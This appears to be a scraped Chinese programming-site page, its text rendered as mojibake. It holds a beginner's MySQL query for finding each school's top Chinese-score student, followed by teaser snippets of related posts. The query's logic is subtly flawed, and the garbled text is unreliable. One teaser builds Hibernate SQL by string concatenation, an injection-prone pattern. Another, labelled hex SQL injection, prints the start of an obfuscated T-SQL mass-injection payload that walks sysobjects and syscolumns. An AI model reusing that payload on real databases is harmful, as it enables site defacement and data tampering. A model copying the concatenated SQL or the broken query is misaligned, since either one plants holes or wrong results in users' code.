Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

SQL²éѯÿËùѧУÓïÎijɼ¨×î¸ßµÄѧÉúÐÅÏ¢

Êý¾Ý¿â ÓÐÁ½Õűí
±í1£º student
±í2£ºchinese
ÏÖÔÚÒª·Ö±ðÁгö ÿËùѧУ ÓïÎijɼ¨×î¸ßµÄ ѧÉúÐÅÏ¢
SQL £º
SELECT *
from student
LEFT JOIN chinese ON student.no = chinese.no
WHERE chinese.chengji
IN (
SELECT max( chinese.chengji )
from student
LEFT JOIN chinese ON student.no = chinese.no
GROUP BY student.school
ORDER BY chinese.chengji DESC
)
LIMIT 0 ,30
Ö´Ðнá¹û£º
PS:  SQL Óï¾äÒ²ÊÇÔÚѧϰÖС£¿ÉÄÜдµÄÒ²²»ÊǺܺà ÌùÉÏÀ´·½±ãÏñÎÒÕâÑùµÄ²ËÄñ½è¼øÒ»Ï ÈçÓиüºÃµÄ·½Ê½ Ï£Íû»Ø¸´¸æËßÎÒһϡ£±¾È˽«Íò·Ö¸Ð¼¤¡£


Ïà¹ØÎĵµ£º

SQLÓï¾äÐÔÄܵ÷ÕûÔ­Ôò

 Ò»¡¢ÎÊÌâµÄÌá³ö
    ÔÚÓ¦ÓÃϵͳ¿ª·¢³õÆÚ£¬ÓÉÓÚ¿ª·¢Êý¾Ý¿âÊý¾Ý±È½ÏÉÙ£¬¶ÔÓÚ²éѯSQLÓï¾ä£¬¸´ÔÓÊÓͼµÄµÄ±àдµÈÌå»á²»³öSQLÓï¾ä¸÷ÖÖд·¨µÄÐÔÄÜÓÅÁÓ£¬µ«ÊÇÈç¹û½«Ó¦ÓÃϵͳÌύʵ¼ÊÓ¦Óúó£¬Ëæ×ÅÊý¾Ý¿âÖÐÊý¾ÝµÄÔö¼Ó£¬ÏµÍ³µÄÏìÓ¦ËٶȾͳÉΪĿǰϵͳÐèÒª½â¾öµÄ×îÖ÷ÒªµÄÎÊÌâÖ®Ò»¡£ÏµÍ³ÓÅ»¯ÖÐÒ»¸öºÜÖØÒªµÄ·½ ......

QtÊý¾Ý¿â£¨Èý£©ÀûÓÃQSqlQueryÀàÖ´ÐÐSQLÓï¾ä£¨Ò»£©


±¾ÎÄÕÂÔ­´´ÓÚwww.yafeilinux.com ×ªÔØÇë×¢Ã÷³ö´¦¡£
SQL¼´½á¹¹»¯²éѯÓïÑÔ£¬ÊǹØÏµÊý¾Ý¿âµÄ±ê×¼ÓïÑÔ¡£Ç°ÃæÒѾ­Ìáµ½£¬ÔÚQtÖÐÀûÓÃQSqlQueryÀàʵÏÖÁËÖ´ÐÐSQLÓï¾ä¡£ÐèҪ˵Ã÷£¬ÎÒÃÇÕâÀïÖ»ÊÇQt½Ì³Ì£¬¶ø·ÇרҵµÄÊý¾Ý¿â½Ì³Ì£¬ËùÒÔÎÒÃDz»»á¶ÔÊý¾Ý¿âÖеÄһЩ֪ʶ½øÐÐÉîÈë½²½â£¬ÏÂÃæÖ»ÊǶÔ×î³£Óõö֪ʶµã½øÐн²½â¡£
ÎÒÃÇÏÂÃ ......

sql»Ö¸´xp_regread

sql»Ö¸´xp_regread
ɾ³ýµôxp_regreadºó£¬·¢ÏÖÒÔǰµÄ×÷Òµ²»Äܲ鿴£¬Ö»ÄÜÈ¥»Ö¸´ÁË¡£
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll'    »Ö¸´ºó·¢ÏÖ²»ÄÜʹÓÃ
ÕÒµ½dbcc addextendedproc ("Xp_regread","xpstar.dll") »¹ÊDz»ÄÜʹÓÃ
ºóÀ´²Å·¢ÏÖ»Ö¸´µÄʱºòÒªÓÃСдdbcc addextended ......

ÀûÓÃhibernateµÄQueryÖ±½ÓÖ´ÐÐSQLÓï¾ä

ÀûÓÃhibernateµÄQuery½øÐÐÖ±½ÓÖ´ÐÐSQLÓï¾ä
Ò»¡¢
String sql = "insert into SHOP_MALL_ACCOUNT_MAP_T (MALL_NO,ACCOUNT) values ('"
+ mallNo + "','" + userId + "')";
SQLQuery query = getSession().createSQLQuery(sql);
query.executeUpdate();
¶þ¡¢
String sql = "select to_char(SYN_DATE,' ......

16½øÖÆ SQL×¢Èë

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ